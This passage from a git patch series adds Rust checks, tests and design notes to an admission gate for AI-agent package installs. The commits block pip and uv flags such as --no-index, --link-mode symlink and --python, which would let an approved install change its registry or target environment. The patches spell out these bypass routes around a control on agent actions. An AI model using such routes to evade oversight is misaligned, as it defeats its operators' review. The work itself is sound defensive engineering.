"pip", + "install", + "cwl-example==1.2.3", + "--link-mode", + "symlink", + ]))); + assert!(!requests_unapproved_uv_symlink_link_mode(&intent(&[ + "uv", + "pip", + "install", + "cwl-example==1.2.3", + "--link-mode=copy", + ]))); + assert!(!requests_unapproved_uv_symlink_link_mode(&intent(&[ + "pip", + "install", + "cwl-example==1.2.3", + "--link-mode=symlink", + ]))); + } +} From ba76cbb1c134c8d8964376c8c8522e6126d9d1fa Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 13:03:20 +0900 Subject: [PATCH 381/702] fix(security): enforce uv symlink link-mode admission --- crates/agent-artifact-admission/src/lib.rs | 10 ++++++++++ .../uv_symlink_link_mode_authority_contract.rs | 16 +++++++++++++++- 2 files changed, 25 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 2a50a97a..6fbbf8d1 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -20,6 +20,7 @@ mod pypi_noninteractive_authority; mod pypi_proxy_authority; mod pypi_system_package_authority; mod uv_configuration_authority; +mod uv_link_mode_authority; pub use admission::{ AdmissionDecision, AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, @@ -166,6 +167,15 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } decision.decision = DecisionKind::Block; } + if uv_link_mode_authority::requests_unapproved_uv_symlink_link_mode(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + { + decision.reason_codes.push(ReasonCode::ArtifactNotApproved); + } + decision.decision = DecisionKind::Block; + } if uv_configuration_authority::requests_unapproved_uv_configuration_authority(intent) { if !decision .reason_codes diff --git a/crates/agent-artifact-admission/tests/uv_symlink_link_mode_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_symlink_link_mode_authority_contract.rs index 50d22e5c..0404b593 100644 --- a/crates/agent-artifact-admission/tests/uv_symlink_link_mode_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_symlink_link_mode_authority_contract.rs @@ -18,7 +18,21 @@ fn uv_symlink_link_mode_cannot_inherit_artifact_approval() { let (policy, mut intent) = approved_uv_install(); intent.argv.push("--link-mode=symlink".to_string()); - let decision = admission_decision(&policy, &intent); + assert_symlink_link_mode_is_blocked(&policy, &intent); +} + +#[test] +fn uv_separate_symlink_link_mode_cannot_inherit_artifact_approval() { + let (policy, mut intent) = approved_uv_install(); + intent + .argv + .extend(["--link-mode".to_string(), "symlink".to_string()]); + + assert_symlink_link_mode_is_blocked(&policy, &intent); +} + +fn assert_symlink_link_mode_is_blocked(policy: &AdmissionPolicy, intent: &InstallIntent) { + let decision = admission_decision(policy, intent); assert_eq!( decision.decision, From a01c92e86637ee58ba84b7317a5d3aef5cb5f780 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 13:04:30 +0900 Subject: [PATCH 382/702] style(rust): normalize uv link-mode authority --- .../src/uv_link_mode_authority.rs | 30 +++++++++---------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/crates/agent-artifact-admission/src/uv_link_mode_authority.rs b/crates/agent-artifact-admission/src/uv_link_mode_authority.rs index 391a75d1..eedac183 100644 --- a/crates/agent-artifact-admission/src/uv_link_mode_authority.rs +++ b/crates/agent-artifact-admission/src/uv_link_mode_authority.rs @@ -20,21 +20,22 @@ pub(crate) fn requests_unapproved_uv_symlink_link_mode(intent: &InstallIntent) - } let install_arguments = &arguments[2..]; - install_arguments.iter().enumerate().any(|(index, argument)| { - argument == "--link-mode=symlink" - || (argument == "--link-mode" - && install_arguments - .get(index + 1) - .is_some_and(|value| value == "symlink")) - }) + install_arguments + .iter() + .enumerate() + .any(|(index, argument)| { + argument == "--link-mode=symlink" + || (argument == "--link-mode" + && install_arguments + .get(index + 1) + .is_some_and(|value| value == "symlink")) + }) } #[cfg(test)] mod tests { use super::requests_unapproved_uv_symlink_link_mode; - use crate::{ - ArtifactCoordinate, InstallIntent, InstructionSource, InstructionSourceKind, - }; + use crate::{ArtifactCoordinate, InstallIntent, InstructionSource, InstructionSourceKind}; fn intent(argv: &[&str]) -> InstallIntent { InstallIntent { @@ -43,8 +44,8 @@ mod tests { workspace_id: "ContextualWisdomLab/wardnet".to_string(), operation: "install".to_string(), argv: argv.iter().map(|value| (*value).to_string()).collect(), - manifest_sha256: - "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), source: InstructionSource { kind: InstructionSourceKind::ReviewedConfig, uri: None, @@ -56,9 +57,8 @@ mod tests { version: "1.2.3".to_string(), registry_url: "https://pypi.org/simple".to_string(), owner: "ContextualWisdomLab".to_string(), - sha256: - "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" - .to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + .to_string(), artifact_argument: "cwl-example==1.2.3".to_string(), }], } From 205567a0eb18069c7c72c6b2387107aab96db948 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 19:09:12 +0900 Subject: [PATCH 383/702] test(security): reject disabling reviewed PyPI index --- .../pypi_artifact_source_identity_contract.rs | 49 ++++++++++++++++++- 1 file changed, 48 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs b/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs index 72ef57b0..36a6ef57 100644 --- a/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs @@ -1,7 +1,7 @@ use wardnet_agent_artifact_admission::{ AdmissionPolicy, AdmissionServiceConfig, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, - admission_decision, validate_service_config, + ReasonCode, admission_decision, validate_service_config, }; const MANIFEST_SHA256: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; @@ -37,6 +37,53 @@ fn pypi_requirement_cannot_replace_reviewed_index_coordinate() { } } +#[test] +fn pypi_install_cannot_disable_reviewed_registry_index() { + let artifact_argument = format!("{PACKAGE_NAME}=={PACKAGE_VERSION}"); + + for executable in ["pip", "uv"] { + let mut policy = approved_pypi_policy(&artifact_argument); + policy.allowed_executables = vec![executable.to_string()]; + let mut intent = approved_pypi_intent(&artifact_argument); + intent.argv = match executable { + "pip" => vec![ + "pip".to_string(), + "install".to_string(), + artifact_argument.clone(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + "--no-index".to_string(), + ], + "uv" => vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + artifact_argument.clone(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-index".to_string(), + ], + _ => unreachable!("test executable set is closed"), + }; + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} must not disable the reviewed registry and inherit an alternate package-source authority" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "disabling the reviewed registry must be classified as alternate trust/source authority: {:?}", + decision.reason_codes + ); + } +} + #[test] fn exact_pypi_index_name_and_version_remain_allowed() { let artifact_argument = format!("{PACKAGE_NAME}=={PACKAGE_VERSION}"); From 1f691641f38d2721e1c25b8d439da387b7d38922 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 19:11:05 +0900 Subject: [PATCH 384/702] fix(security): bind Python installs to reviewed registry --- .../src/pypi_registry_authority.rs | 29 +++++++++++++++++++ 1 file changed, 29 insertions(+) create mode 100644 crates/agent-artifact-admission/src/pypi_registry_authority.rs diff --git a/crates/agent-artifact-admission/src/pypi_registry_authority.rs b/crates/agent-artifact-admission/src/pypi_registry_authority.rs new file mode 100644 index 00000000..00cc6200 --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_registry_authority.rs @@ -0,0 +1,29 @@ +use crate::InstallIntent; + +/// Return whether a direct Python package install disables the exact reviewed +/// registry and can therefore inherit a different package-source authority. +pub(crate) fn disables_reviewed_registry(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + let arguments = &intent.argv[1..]; + let is_direct_pypi_install = match executable { + "pip" | "pip3" => arguments + .first() + .is_some_and(|argument| argument == "install"), + "uv" => { + arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") + } + _ => false, + }; + if !is_direct_pypi_install { + return false; + } + + arguments + .iter() + .any(|argument| argument == "--no-index" || argument.starts_with("--no-index=")) +} From 0dc34e268f4165a902e0e09f3979bbcf451f2730 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 19:11:24 +0900 Subject: [PATCH 385/702] fix(security): enforce reviewed PyPI registry authority --- crates/agent-artifact-admission/src/lib.rs | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 6fbbf8d1..f5ab80e6 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -18,6 +18,7 @@ mod pypi_keyring_provider_authority; mod pypi_log_output_authority; mod pypi_noninteractive_authority; mod pypi_proxy_authority; +mod pypi_registry_authority; mod pypi_system_package_authority; mod uv_configuration_authority; mod uv_link_mode_authority; @@ -158,6 +159,15 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } decision.decision = DecisionKind::Block; } + if pypi_registry_authority::disables_reviewed_registry(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot) + { + decision.reason_codes.push(ReasonCode::AlternateTrustRoot); + } + decision.decision = DecisionKind::Block; + } if pypi_system_package_authority::requests_pypi_system_package_override(intent) { if !decision .reason_codes From 8ba0409804c18fa309358719c215c717a221ce5a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 19:12:32 +0900 Subject: [PATCH 386/702] docs(security): trace reviewed PyPI registry authority --- docs/doctoring/pypi-registry-authority.md | 27 +++++++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 docs/doctoring/pypi-registry-authority.md diff --git a/docs/doctoring/pypi-registry-authority.md b/docs/doctoring/pypi-registry-authority.md new file mode 100644 index 00000000..54281d09 --- /dev/null +++ b/docs/doctoring/pypi-registry-authority.md @@ -0,0 +1,27 @@ +# PyPI registry authority traceability + +Verified 2026-09-11. This note narrows one Agent Artifact Admission invariant: a reviewed Python artifact coordinate includes its HTTPS registry, so submitted installer arguments may not disable that reviewed registry and inherit a different package-source authority. It does not extend Wardnet into runtime environment inspection or package retrieval. + +## Decision trace + +The protected admission model already rejects caller-selected `--index-url`, `--extra-index-url`, `--index`, `--default-index`, and `--find-links` controls. The remaining gap was the inverse selector: both pip and uv expose `--no-index`, which disables registry-index lookup. pip documents that `--no-index` ignores the package index and looks only at `--find-links` locations. uv documents `no-index` as ignoring all registry indexes and relying on direct URL dependencies or `--find-links`. + +A submitted `pip install` or `uv pip install` carrying `--no-index` therefore contradicts an approval whose artifact identity includes a reviewed registry URL. Wardnet now classifies that submitted command as `alternate_trust_root` and blocks it before execution. This is intentionally narrower than reproducing pip or uv configuration precedence. + +The execution boundary remains unchanged. `PIP_NO_INDEX`, `UV_NO_INDEX`, project/user configuration files, cache contents, filesystem state, and other effective runtime environment/configuration are not inspected by Wardnet. `quarantine-sandbox-runtime` remains the canonical owner of hostile execution/isolation and effective runtime environment/config authority. Wardnet evaluates only the structured submitted intent and emits admission policy/evidence. + +## Evidence + +- Hosted hostile RED `205567a0eb18069c7c72c6b2387107aab96db948`: `pypi_install_cannot_disable_reviewed_registry_index` observed `Allow` for a reviewed exact PyPI coordinate whose argv added `--no-index`. +- Minimum causal repair: `pypi_registry_authority::disables_reviewed_registry` recognizes only direct `pip`/`pip3 install` and `uv pip install` invocations carrying explicit `--no-index` authority, and the admission decision reuses stable `alternate_trust_root` evidence. +- The focused contract covers both pip and uv without reading environment variables, executing either package manager, fetching artifacts, or duplicating quarantine/EgressWeave responsibilities. + +## Primary-source basis + +pip 26.2.1 states that `--no-index` ignores the package index and that candidate discovery can otherwise include local filesystem and `--find-links` locations. uv's current settings reference states that `no-index` ignores all registry indexes and instead relies on direct URL dependencies and `--find-links`. These are package-source selection semantics, not installation-isolation semantics. + +## APA 7 references + +Astral Software, Inc. (2026). *Settings: uv documentation*. Retrieved September 11, 2026, from https://docs.astral.sh/uv/reference/settings/ + +pip developers. (2026). *pip install: pip documentation v26.2.1*. Retrieved September 11, 2026, from https://pip.pypa.io/en/stable/cli/pip_install/ From 1fcb3f1f54133d0ae0a052464ad635d687134098 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 19:13:22 +0900 Subject: [PATCH 387/702] test(security): cover pip3 registry disable authority --- .../tests/pypi_artifact_source_identity_contract.rs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs b/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs index 36a6ef57..5ec7a219 100644 --- a/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs @@ -41,13 +41,13 @@ fn pypi_requirement_cannot_replace_reviewed_index_coordinate() { fn pypi_install_cannot_disable_reviewed_registry_index() { let artifact_argument = format!("{PACKAGE_NAME}=={PACKAGE_VERSION}"); - for executable in ["pip", "uv"] { + for executable in ["pip", "pip3", "uv"] { let mut policy = approved_pypi_policy(&artifact_argument); policy.allowed_executables = vec![executable.to_string()]; let mut intent = approved_pypi_intent(&artifact_argument); intent.argv = match executable { - "pip" => vec![ - "pip".to_string(), + "pip" | "pip3" => vec![ + executable.to_string(), "install".to_string(), artifact_argument.clone(), "--require-hashes".to_string(), From 142c473b0d706f2a75533f683b1ceae429b442e2 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 19:13:43 +0900 Subject: [PATCH 388/702] refactor(security): match documented no-index flag exactly --- .../agent-artifact-admission/src/pypi_registry_authority.rs | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_registry_authority.rs b/crates/agent-artifact-admission/src/pypi_registry_authority.rs index 00cc6200..f780231e 100644 --- a/crates/agent-artifact-admission/src/pypi_registry_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_registry_authority.rs @@ -23,7 +23,5 @@ pub(crate) fn disables_reviewed_registry(intent: &InstallIntent) -> bool { return false; } - arguments - .iter() - .any(|argument| argument == "--no-index" || argument.starts_with("--no-index=")) + arguments.iter().any(|argument| argument == "--no-index") } From b7e5aa14d40cfa6ce929ae5dd8cc4bf2ae1092c1 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 19:35:46 +0900 Subject: [PATCH 389/702] test(admission): prove uv python interpreter escape --- ...v_python_interpreter_authority_contract.rs | 103 ++++++++++++++++++ 1 file changed, 103 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/uv_python_interpreter_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/uv_python_interpreter_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_python_interpreter_authority_contract.rs new file mode 100644 index 00000000..22ce6d0e --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_python_interpreter_authority_contract.rs @@ -0,0 +1,103 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, +}; + +#[test] +fn approved_uv_install_without_python_override_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn uv_assigned_python_interpreter_cannot_inherit_artifact_approval() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--python=/usr/bin/python3".to_string()); + + assert_python_interpreter_override_is_blocked(&policy, &intent); +} + +#[test] +fn uv_separate_python_interpreter_cannot_inherit_artifact_approval() { + let (policy, mut intent) = approved_uv_install(); + intent + .argv + .extend(["--python".to_string(), "/usr/bin/python3".to_string()]); + + assert_python_interpreter_override_is_blocked(&policy, &intent); +} + +fn assert_python_interpreter_override_is_blocked( + policy: &AdmissionPolicy, + intent: &InstallIntent, +) { + let decision = admission_decision(policy, intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected uv Python interpreter can redirect package installation into an unreviewed environment" + ); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::AlternateInstallRoot], + "uv --python must fail causally as caller-selected installation-environment authority" + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-python-interpreter-authority".to_string(), + policy_revision: "2026-09-11.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-python-interpreter-authority".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From c0bddd842c07b91943904bf0334f1c9bd63960e5 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 19:37:57 +0900 Subject: [PATCH 390/702] style(admission): format uv interpreter RED contract --- .../tests/uv_python_interpreter_authority_contract.rs | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/crates/agent-artifact-admission/tests/uv_python_interpreter_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_python_interpreter_authority_contract.rs index 22ce6d0e..94ff82c9 100644 --- a/crates/agent-artifact-admission/tests/uv_python_interpreter_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_python_interpreter_authority_contract.rs @@ -31,10 +31,7 @@ fn uv_separate_python_interpreter_cannot_inherit_artifact_approval() { assert_python_interpreter_override_is_blocked(&policy, &intent); } -fn assert_python_interpreter_override_is_blocked( - policy: &AdmissionPolicy, - intent: &InstallIntent, -) { +fn assert_python_interpreter_override_is_blocked(policy: &AdmissionPolicy, intent: &InstallIntent) { let decision = admission_decision(policy, intent); assert_eq!( From 5f9a43dbb793365ae6443aaed56187f573134a80 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 19:43:25 +0900 Subject: [PATCH 391/702] fix(admission): treat uv python selector value as option data --- crates/agent-artifact-admission/src/policy.rs | 20 +++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 0144048d..c863f48f 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -262,9 +262,13 @@ fn validate_artifact_operands(intent: &InstallIntent, reason_codes: &mut Vec = arguments .iter() + .enumerate() .skip(command_prefix_len) - .filter(|argument| !argument.starts_with('-')) - .map(String::as_str) + .filter(|(index, argument)| { + !argument.starts_with('-') + && !is_uv_python_selector_value(executable, arguments, *index) + }) + .map(|(_, argument)| argument.as_str()) .collect(); if intent @@ -282,6 +286,18 @@ fn validate_artifact_operands(intent: &InstallIntent, reason_codes: &mut Vec bool { + executable == "uv" + && arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") + && index + .checked_sub(1) + .and_then(|previous| arguments.get(previous)) + .is_some_and(|argument| matches!(argument.as_str(), "--python" | "-p")) +} + fn artifact_ecosystem_matches_executable(executable: &str, ecosystem: &str) -> bool { match executable { "npm" | "pnpm" | "yarn" | "bun" => ecosystem == "npm", From 03bcb2715516eeff23e49ae5eb81416840e85c61 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 19:43:44 +0900 Subject: [PATCH 392/702] test(admission): cover uv python selector causality --- ...v_python_interpreter_authority_contract.rs | 34 ++++++++++++++++++- 1 file changed, 33 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/uv_python_interpreter_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_python_interpreter_authority_contract.rs index 94ff82c9..f8ec81a1 100644 --- a/crates/agent-artifact-admission/tests/uv_python_interpreter_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_python_interpreter_authority_contract.rs @@ -31,6 +31,38 @@ fn uv_separate_python_interpreter_cannot_inherit_artifact_approval() { assert_python_interpreter_override_is_blocked(&policy, &intent); } +#[test] +fn uv_short_python_interpreter_value_is_not_misclassified_as_an_artifact() { + let (policy, mut intent) = approved_uv_install(); + intent + .argv + .extend(["-p".to_string(), "/usr/bin/python3".to_string()]); + + assert_python_interpreter_override_is_blocked(&policy, &intent); +} + +#[test] +fn uv_python_selector_does_not_hide_a_real_unapproved_artifact_operand() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.extend([ + "unreviewed-package==9.9.9".to_string(), + "--python".to_string(), + "/usr/bin/python3".to_string(), + ]); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision.reason_codes, + vec![ + ReasonCode::AlternateInstallRoot, + ReasonCode::ArtifactNotApproved, + ], + "only the interpreter option value is consumed; a second package operand remains an artifact-policy violation" + ); +} + fn assert_python_interpreter_override_is_blocked(policy: &AdmissionPolicy, intent: &InstallIntent) { let decision = admission_decision(policy, intent); @@ -42,7 +74,7 @@ fn assert_python_interpreter_override_is_blocked(policy: &AdmissionPolicy, inten assert_eq!( decision.reason_codes, vec![ReasonCode::AlternateInstallRoot], - "uv --python must fail causally as caller-selected installation-environment authority" + "uv Python selection must fail causally as caller-selected installation-environment authority" ); } From a6baa74d31b06362b7c6bc6aeb4c51f79442c289 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 19:47:05 +0900 Subject: [PATCH 393/702] docs(admission): trace uv Python selector authority --- .../uv-python-interpreter-authority.md | 41 +++++++++++++++++++ 1 file changed, 41 insertions(+) create mode 100644 docs/doctoring/uv-python-interpreter-authority.md diff --git a/docs/doctoring/uv-python-interpreter-authority.md b/docs/doctoring/uv-python-interpreter-authority.md new file mode 100644 index 00000000..4741aa0d --- /dev/null +++ b/docs/doctoring/uv-python-interpreter-authority.md @@ -0,0 +1,41 @@ +# uv Python interpreter authority: causal admission evidence + +## Decision record + +Wardnet treats an explicit `uv pip install --python ` or `-p ` selection as caller-controlled installation-environment authority. The existing admission policy therefore blocks the request with `alternate_install_root`. This document does not make Wardnet responsible for Python discovery, environment activation, package execution, isolation, or egress; those remain outside Agent Artifact Admission and with their canonical owners. + +The current defect was narrower than an admission bypass. On the exact parent candidate `142c473b0d706f2a75533f683b1ceae429b442e2`, the assigned form `--python=/usr/bin/python3` was already blocked causally with `alternate_install_root`. The separate form `--python /usr/bin/python3` was also blocked, but `/usr/bin/python3` was additionally counted as a package operand, adding a false `artifact_not_approved` reason. Security evidence must distinguish the authority that actually caused denial from unrelated artifact-policy failures. + +The minimum repair keeps the existing install-root classifier unchanged and changes only artifact-operand extraction: the value consumed by the already-recognized `uv` `--python`/`-p` selector is option data rather than a package operand. A genuine second package operand remains `artifact_not_approved`. + +## RED → GREEN evidence + +- Parent: `feat/agent-artifact-admission@142c473b0d706f2a75533f683b1ceae429b442e2`. +- Formatted RED head: `c0bddd842c07b91943904bf0334f1c9bd63960e5`. +- Hosted CI `34590170121` reached semantic Test RED after formatting passed. The approved baseline and assigned form passed; the separate long form returned `[AlternateInstallRoot, ArtifactNotApproved]` instead of the single causal `AlternateInstallRoot` reason. +- Repair contract: assigned long form, separate long form, and separate short `-p` form all remain fail-closed with `AlternateInstallRoot`; an additional undeclared package operand combined with a Python selector must still add `ArtifactNotApproved`. +- Final GREEN is accepted only from the unchanged current repair head after its repository workflows finish successfully; predecessor receipts are historical evidence only. + +## Security rationale and owner boundary + +Astral documents `--python, -p` for `uv pip install` as selecting the Python interpreter into which packages are installed and cautions that an alternative interpreter path can modify a system Python installation. That makes interpreter selection material to the destination/effective environment of an admitted install, not package identity. Wardnet may classify that submitted authority and emit durable admission evidence, but it does not discover the effective runtime environment or execute the install. + +This control follows the secure-development principle of repairing the root parsing/evidence defect rather than weakening the denial or treating the false secondary reason as harmless. NIST's current SSDF 1.2 work continues to emphasize secure and reliable development practices that address vulnerability root causes; the cited revision is an Initial Public Draft and is therefore supporting guidance rather than a finalized requirement. OWASP's 2026 agent-security work likewise emphasizes constraining the effective reach of agent tools and permissions. Those sources support a narrow deterministic admission boundary; they do not transfer quarantine, runtime, identity, egress, or orchestration ownership into Wardnet. + +## Traceability + +| Evidence / requirement | Wardnet control | +| --- | --- | +| `uv pip install --python/-p` selects the installation interpreter/environment | `requests_alternate_install_root` keeps `--python` and `-p` fail-closed as `AlternateInstallRoot` | +| Option values are not package operands | `validate_artifact_operands` excludes only the value consumed by separate `--python`/`-p` | +| Real undeclared package operands remain denied | hostile regression combines `--python` with an extra package and requires `ArtifactNotApproved` | +| Durable evidence identifies the causal authority | selector-only cases require exactly `AlternateInstallRoot` | +| Foreign execution/isolation/egress authority is not duplicated | no installer execution, environment discovery, sandbox, egress, or orchestration implementation is added | + +## References + +Astral Software. (2026). *uv command reference: uv pip install*. https://docs.astral.sh/uv/reference/cli/ + +National Institute of Standards and Technology. (2025). *Secure Software Development Framework (SSDF) version 1.2: Recommendations for mitigating the risk of software vulnerabilities* (NIST SP 800-218r1, Initial Public Draft). https://csrc.nist.gov/news/2025/draft-ssdf-version-1-2 + +OWASP GenAI Security Project. (2026, September 1). *OWASP GenAI Security Project unveils 2026 Top 10 for LLM applications, new Agent Control Standard and sponsors as community tops 30,000 members*. https://genai.owasp.org/2026/09/01/owasp-genai-security-project-unveils-2026-top-10-for-llm-applications-new-agent-control-standard-and-sponsors-as-community-tops-30000-members/ From c73b9758f8935b4d770f84c7c4415af2dbc488a3 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 20:00:53 +0900 Subject: [PATCH 394/702] docs(admission): ground uv selector evidence in supply-chain research --- docs/doctoring/uv-python-interpreter-authority.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/docs/doctoring/uv-python-interpreter-authority.md b/docs/doctoring/uv-python-interpreter-authority.md index 4741aa0d..0e41bf13 100644 --- a/docs/doctoring/uv-python-interpreter-authority.md +++ b/docs/doctoring/uv-python-interpreter-authority.md @@ -20,8 +20,12 @@ The minimum repair keeps the existing install-root classifier unchanged and chan Astral documents `--python, -p` for `uv pip install` as selecting the Python interpreter into which packages are installed and cautions that an alternative interpreter path can modify a system Python installation. That makes interpreter selection material to the destination/effective environment of an admitted install, not package identity. Wardnet may classify that submitted authority and emit durable admission evidence, but it does not discover the effective runtime environment or execute the install. +Peer-reviewed software-supply-chain research supports treating dependency-manager installation as a security-sensitive boundary and retaining evidence that identifies the exact operation and artifact authority being exercised. Ohm et al. (2020) analyzed 174 malicious packages distributed through npm, PyPI, and RubyGems and explicitly linked dependency-manager resolution and installation to real supply-chain attack paths. Torres-Arias et al. (2019) showed that end-to-end supply-chain integrity depends on verifiable evidence for the steps and artifacts that actually participated in delivery. Neither paper specifies `uv` command-line syntax; together they support the narrower Wardnet decision that package-manager admission and its audit reasons must remain precise rather than conflating an interpreter selector with a package operand. + This control follows the secure-development principle of repairing the root parsing/evidence defect rather than weakening the denial or treating the false secondary reason as harmless. NIST's current SSDF 1.2 work continues to emphasize secure and reliable development practices that address vulnerability root causes; the cited revision is an Initial Public Draft and is therefore supporting guidance rather than a finalized requirement. OWASP's 2026 agent-security work likewise emphasizes constraining the effective reach of agent tools and permissions. Those sources support a narrow deterministic admission boundary; they do not transfer 